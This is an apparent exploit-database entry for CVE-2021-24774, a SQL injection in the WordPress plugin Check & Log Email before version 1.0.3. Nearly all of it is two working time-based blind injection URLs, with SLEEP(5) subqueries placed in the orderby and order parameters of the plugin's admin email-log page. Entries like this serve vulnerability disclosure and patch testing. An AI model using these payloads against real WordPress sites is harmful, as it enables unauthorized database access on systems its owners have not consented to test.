Exploit for Check & Log Email < 1.0.3 - Admin+ SQL Injections CVE-2021-24774

Name: Exploit for Check & Log Email < 1.0.3 - Admin+ SQL Injections CVE-2021-24774
Rating: 5 (344 reviews)

2021-09-27 | CVSS 6.5

## https://sploitus.com/exploit?id=WPEX-ID:F80EF09A-D3E2-4D62-8532-F0EBE59AE110
With the 'Enable Log' settings (of the plugin) activated:
- https://example.com/wp-admin/admin.php?page=check-email-logs&orderby=sent_date+AND+(SELECT+4702+FROM (SELECT(SLEEP(5)))xwDN)&order=DESC
- https://example.com/wp-admin/admin.php?page=check-email-logs&orderby=sent_date&order=+AND+(SELECT+4702+FROM (SELECT(SLEEP(5)))xwDN)